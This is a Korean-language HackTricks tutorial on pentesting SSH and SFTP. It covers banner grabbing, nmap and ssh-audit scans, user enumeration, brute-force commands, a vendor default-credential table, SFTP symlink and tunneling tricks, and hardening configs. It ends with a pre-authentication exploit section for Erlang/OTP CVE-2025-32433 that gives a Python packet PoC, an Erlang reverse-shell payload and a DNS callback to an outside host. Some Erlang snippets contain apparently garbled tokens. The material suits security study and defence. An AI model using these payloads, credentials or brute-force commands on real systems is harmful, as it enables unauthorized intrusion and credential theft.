22 - Pentesting SSH/SFTP

Reading time: 14 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

**SSH (Secure Shell 또는 Secure Socket Shell)**은 보안되지 않은 네트워크를 통해 컴퓨터에 대한 안전한 연결을 가능하게 하는 네트워크 프로토콜입니다. 원격 시스템에 접근할 때 데이터의 기밀성과 무결성을 유지하는 데 필수적입니다.

기본 포트: 22

22/tcp open  ssh     syn-ack

SSH 서버:

  • openSSH – OpenBSD SSH, BSD, Linux 배포판 및 Windows 10 이후 Windows에 포함됨
  • Dropbear – 메모리와 프로세서 자원이 적은 환경을 위한 SSH 구현, OpenWrt에 포함됨
  • PuTTY – Windows용 SSH 구현, 클라이언트는 일반적으로 사용되지만 서버의 사용은 드물다
  • CopSSH – Windows용 OpenSSH 구현

SSH 라이브러리 (서버 측 구현):

  • libssh – SSHv2 프로토콜을 구현하는 다중 플랫폼 C 라이브러리, Python, PerlR에서 바인딩됨; KDE에서 sftp에 사용되며 GitHub에서 git SSH 인프라에 사용됨
  • wolfSSH – ANSI C로 작성된 SSHv2 서버 라이브러리, 임베디드, RTOS 및 자원이 제한된 환경을 목표로 함
  • Apache MINA SSHD – Apache SSHD 자바 라이브러리는 Apache MINA를 기반으로 함
  • paramiko – Python SSHv2 프로토콜 라이브러리

열거

배너 수집

bash
nc -vn <IP> 22

자동화된 ssh-audit

ssh-audit는 ssh 서버 및 클라이언트 구성 감사를 위한 도구입니다.

https://github.com/jtesta/ssh-audithttps://github.com/arthepsy/ssh-audit/의 업데이트된 포크입니다.

기능:

  • SSH1 및 SSH2 프로토콜 서버 지원;
  • SSH 클라이언트 구성 분석;
  • 배너 가져오기, 장치 또는 소프트웨어 및 운영 체제 인식, 압축 감지;
  • 키 교환, 호스트 키, 암호화 및 메시지 인증 코드 알고리즘 수집;
  • 알고리즘 정보 출력 (사용 가능 시점, 제거/비활성화, 안전하지 않음/약함/구식 등);
  • 알고리즘 권장 사항 출력 (인식된 소프트웨어 버전에 따라 추가 또는 제거);
  • 보안 정보 출력 (관련 문제, 할당된 CVE 목록 등);
  • 알고리즘 정보를 기반으로 SSH 버전 호환성 분석;
  • OpenSSH, Dropbear SSH 및 libssh의 역사적 정보;
  • Linux 및 Windows에서 실행;
  • 의존성 없음
bash
usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

See it in action (Asciinema)

서버의 공개 SSH 키

bash
ssh-keyscan -t rsa <IP> -p <PORT>

약한 암호 알고리즘

이는 기본적으로 nmap에 의해 발견됩니다. 그러나 sslcan 또는 sslyze를 사용할 수도 있습니다.

Nmap 스크립트

bash
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

  • ssh

사용자 이름, 비밀번호 및 개인 키에 대한 무차별 대입 공격

사용자 이름 열거

일부 OpenSSH 버전에서는 타이밍 공격을 사용하여 사용자를 열거할 수 있습니다. 이를 악용하기 위해 메타스플로잇 모듈을 사용할 수 있습니다:

msf> use scanner/ssh/ssh_enumusers

무차별 대입 공격

일부 일반적인 ssh 자격 증명 여기여기 및 아래에 있습니다.

개인 키 무차별 대입 공격

사용할 수 있는 ssh 개인 키를 알고 있다면... 시도해 봅시다. nmap 스크립트를 사용할 수 있습니다:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

또는 MSF 보조 모듈:

msf> use scanner/ssh/ssh_identify_pubkeys

Or use ssh-keybrute.py (native python3, lightweight and has legacy algorithms enabled): snowdroppe/ssh-keybrute.

Known badkeys can be found here:

ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub

Weak SSH keys / Debian predictable PRNG

일부 시스템은 암호화 자료를 생성하는 데 사용되는 랜덤 시드에 알려진 결함이 있습니다. 이로 인해 키 공간이 극적으로 줄어들어 무차별 대입 공격을 받을 수 있습니다. 약한 PRNG의 영향을 받는 Debian 시스템에서 생성된 미리 생성된 키 세트는 여기에서 사용할 수 있습니다: g0tmi1k/debian-ssh.

피해자 머신의 유효한 키를 검색하려면 여기를 확인해야 합니다.

Kerberos

crackmapexecssh 프로토콜을 사용하여 kerberos를 통해 인증할 수 있는 --kerberos 옵션을 사용할 수 있습니다.
자세한 정보는 crackmapexec ssh --help를 실행하십시오.

Default Credentials

VendorUsernamesPasswords
APCapc, deviceapc
Brocadeadminadmin123, password, brocade, fibranne
Ciscoadmin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladminadmin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme
Citrixroot, nsroot, nsmaint, vdiadmin, kvm, cli, adminC1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler
D-Linkadmin, userprivate, admin, user
Dellroot, user1, admin, vkernel, clicalvin, 123456, password, vkernel, Stor@ge!, admin
EMCadmin, root, sysadminEMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc
HP/3Comadmin, root, vcx, app, spvar, manage, hpsupport, opc_opadmin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin
Huaweiadmin, root123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123
IBMUSERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customerPASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer
Junipernetscreennetscreen
NetAppadminnetapp123
Oracleroot, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2userchangeme, ilom-admin, ilom-operator, welcome1, oracle
VMwarevi-admin, root, hqadmin, vmware, adminvmware, vmw@re, hqadmin, default

SSH-MitM

피해자가 사용자 이름과 비밀번호를 사용하여 SSH 서버에 연결하려고 할 때 로컬 네트워크에 있는 경우, MitM 공격을 수행하여 해당 자격 증명을 훔칠 수 있습니다:

공격 경로:

  • 트래픽 리디렉션: 공격자는 피해자의 트래픽을 자신의 머신으로 전환하여 SSH 서버에 대한 연결 시도를 가로챕니다.
  • 가로채기 및 로깅: 공격자의 머신은 합법적인 SSH 서버인 척 하여 사용자의 로그인 세부 정보를 캡처하는 프록시 역할을 합니다.
  • 명령 실행 및 중계: 마지막으로, 공격자의 서버는 사용자의 자격 증명을 로그하고, 명령을 실제 SSH 서버에 전달하여 실행하고, 결과를 사용자에게 다시 전송하여 프로세스가 매끄럽고 합법적으로 보이게 합니다.

SSH MITM은 위에서 설명한 대로 정확히 수행합니다.

실제 MitM을 수행하기 위해 ARP 스푸핑, DNS 스푸핑 또는 Network Spoofing attacks에서 설명된 다른 기술을 사용할 수 있습니다.

SSH-Snake

발견된 SSH 개인 키를 사용하여 시스템에서 네트워크를 탐색하고 각 시스템의 각 개인 키를 새로운 호스트에 활용하려면 SSH-Snake가 필요합니다.

SSH-Snake는 다음 작업을 자동으로 재귀적으로 수행합니다:

  1. 현재 시스템에서 모든 SSH 개인 키를 찾습니다,
  2. 현재 시스템에서 개인 키가 수락될 수 있는 모든 호스트 또는 목적지(user@host)를 찾습니다,
  3. 발견된 모든 개인 키를 사용하여 모든 목적지에 SSH 연결을 시도합니다,
  4. 목적지에 성공적으로 연결되면 연결된 시스템에서 #1 - #4 단계를 반복합니다.

완전히 자기 복제 및 자기 전파가 가능하며, 완전히 파일이 없습니다.

Config Misconfigurations

Root login

SSH 서버가 기본적으로 루트 사용자 로그인을 허용하는 것은 일반적이며, 이는 상당한 보안 위험을 초래합니다. 루트 로그인을 비활성화하는 것은 서버 보안의 중요한 단계입니다. 관리 권한으로의 무단 접근 및 무차별 대입 공격을 완화할 수 있습니다.

OpenSSH에서 루트 로그인 비활성화:

  1. sudoedit /etc/ssh/sshd_config로 SSH 구성 파일을 편집합니다.
  2. #PermitRootLogin yes에서 **PermitRootLogin no**로 설정을 변경합니다.
  3. sudo systemctl daemon-reload를 사용하여 구성을 다시 로드합니다.
  4. 변경 사항을 적용하기 위해 SSH 서버를 재시작합니다: sudo systemctl restart sshd

SFTP Brute Force

SFTP command execution

SFTP 설정에서 관리자가 사용자가 원격 셸 접근을 활성화하지 않고 파일을 교환하도록 의도하는 경우 일반적인 간과가 발생합니다. 비대화형 셸(예: /usr/bin/nologin)로 사용자를 설정하고 특정 디렉토리에 제한하더라도 보안 허점이 남아 있습니다. 사용자는 로그인 직후 명령 실행을 요청하여 이러한 제한을 우회할 수 있습니다(예: /bin/bash), 비대화형 셸이 차지하기 전에. 이는 무단 명령 실행을 허용하여 의도된 보안 조치를 약화시킵니다.

여기에서의 예:

bash
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

다음은 사용자 noraj에 대한 보안 SFTP 구성 예시입니다 (/etc/ssh/sshd_config – openSSH):

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

이 구성은 SFTP만 허용합니다: 시작 명령을 강제하여 셸 액세스를 비활성화하고 TTY 액세스를 비활성화하며 모든 종류의 포트 포워딩 또는 터널링을 비활성화합니다.

SFTP Tunneling

SFTP 서버에 액세스할 수 있는 경우, 일반적인 포트 포워딩을 사용하여 이 경로를 통해 트래픽을 터널링할 수 있습니다:

bash
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

The sftp have the command "symlink". Therefore, if you have writable rights in some folder, you can create symlinks of other folders/files. As you are probably trapped inside a chroot this won't be specially useful for you, but, if you can access the created symlink from a no-chroot service (for example, if you can access the symlink from the web), you could open the symlinked files through the web.

예를 들어, 새 파일 "froot"에서 "/**"**로 symlink를 생성하려면:

bash
sftp> symlink / froot

웹을 통해 "froot" 파일에 접근할 수 있다면 시스템의 루트("/") 폴더를 나열할 수 있습니다.

인증 방법

높은 보안 환경에서는 단순한 비밀번호 기반 인증 대신 키 기반 또는 2단계 인증만 활성화하는 것이 일반적인 관행입니다. 그러나 종종 더 강력한 인증 방법이 활성화되면서 약한 방법이 비활성화되지 않는 경우가 많습니다. 일반적인 사례는 openSSH 구성에서 publickey를 활성화하고 이를 기본 방법으로 설정하지만 password를 비활성화하지 않는 것입니다. 따라서 SSH 클라이언트의 자세한 모드를 사용하면 공격자가 약한 방법이 활성화되어 있음을 확인할 수 있습니다:

bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

인증 실패 제한이 설정되어 있고 비밀번호 방법에 도달할 기회가 없다면, PreferredAuthentications 옵션을 사용하여 이 방법을 강제로 사용할 수 있습니다.

bash
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

SSH 서버 구성을 검토하는 것은 예상되는 방법만이 허가되었는지 확인하는 데 필요합니다. 클라이언트에서 자세한 모드를 사용하면 구성의 효과를 확인하는 데 도움이 될 수 있습니다.

구성 파일

bash
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

퍼징

인증 상태 기계 우회 (사전 인증 원격 코드 실행)

여러 SSH 서버 구현에는 인증 유한 상태 기계의 논리적 결함이 있어 클라이언트가 인증이 완료되기 연결 프로토콜 메시지를 보낼 수 있습니다. 서버가 올바른 상태에 있는지 확인하지 않기 때문에 이러한 메시지는 사용자가 완전히 인증된 것처럼 처리되어 비인증 코드 실행 또는 세션 생성으로 이어집니다.

프로토콜 수준에서 메시지 코드 ≥ 80 (0x50)을 가진 모든 SSH 메시지는 연결 계층(RFC 4254)에 속하며 성공적인 인증 후에만 수락되어야 합니다 (RFC 4252). 서버가 SSH_AUTHENTICATION 상태에 있는 동안 이러한 메시지 중 하나를 처리하면 공격자는 즉시 채널을 생성하고 명령 실행, 포트 포워딩 등의 작업을 요청할 수 있습니다.

일반적인 악용 단계

  1. 대상의 SSH 포트(일반적으로 22, 그러나 다른 서비스는 2022, 830, 2222 등에서 Erlang/OTP를 노출할 수 있음)에 TCP 연결을 설정합니다.
  2. 원시 SSH 패킷을 작성합니다:
  • 4바이트 packet_length (빅 엔디안)
  • 1바이트 message_code ≥ 80 (예: SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
  • 선택한 메시지 유형이 이해할 수 있는 페이로드
  1. 모든 인증 단계를 완료하기 전에 패킷을 전송합니다.
  2. 이제 사전 인증 상태에서 노출된 서버 API와 상호작용합니다 (명령 실행, 포트 포워딩, 파일 시스템 접근 등).

Python 개념 증명 개요:

python
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

실제로는 대상 구현에 따라 키 교환을 수행하거나 건너뛰어야 하지만, 인증은 절대 수행되지 않습니다.


Erlang/OTP sshd (CVE-2025-32433)

  • 영향을 받는 버전: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
  • 근본 원인: Erlang 네이티브 SSH 데몬은 ssh_connection:handle_msg/2를 호출하기 전에 현재 상태를 검증하지 않습니다. 따라서 메시지 코드 80-255가 있는 패킷은 세션이 여전히 userauth 상태에 있는 동안 연결 핸들러에 도달합니다.
  • 영향: 인증되지 않은 원격 코드 실행 (데몬은 일반적으로 임베디드/OT 장치에서 root로 실행됩니다).

공격자가 제어하는 채널에 바인딩된 리버스 셸을 생성하는 예제 페이로드:

erlang
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

블라인드 RCE / 아웃오브밴드 탐지는 DNS를 통해 수행할 수 있습니다:

erlang
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

탐지 및 완화:

  • SSH 트래픽 검사: 인증 전에 관찰된 메시지 코드 ≥ 80을 가진 패킷은 모두 드롭합니다.
  • Erlang/OTP를 27.3.3 / 26.2.5.11 / 25.3.2.20 또는 최신 버전으로 업그레이드합니다.
  • 관리 포트(22/2022/830/2222)의 노출을 제한합니다 – 특히 OT 장비에서.

영향을 받는 다른 구현

  • libssh 0.6 – 0.8 (서버 측) – CVE-2018-10933 – 클라이언트가 보낸 인증되지 않은 SSH_MSG_USERAUTH_SUCCESS를 수락하며, 사실상 역 논리 결함입니다.

공통적인 교훈은 RFC에서 요구하는 상태 전이에서의 어떤 편차도 치명적일 수 있다는 것입니다; SSH 데몬을 검토하거나 퍼징할 때 상태 기계 강제 집행에 특히 주의하십시오.

참조

HackTricks 자동 명령

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기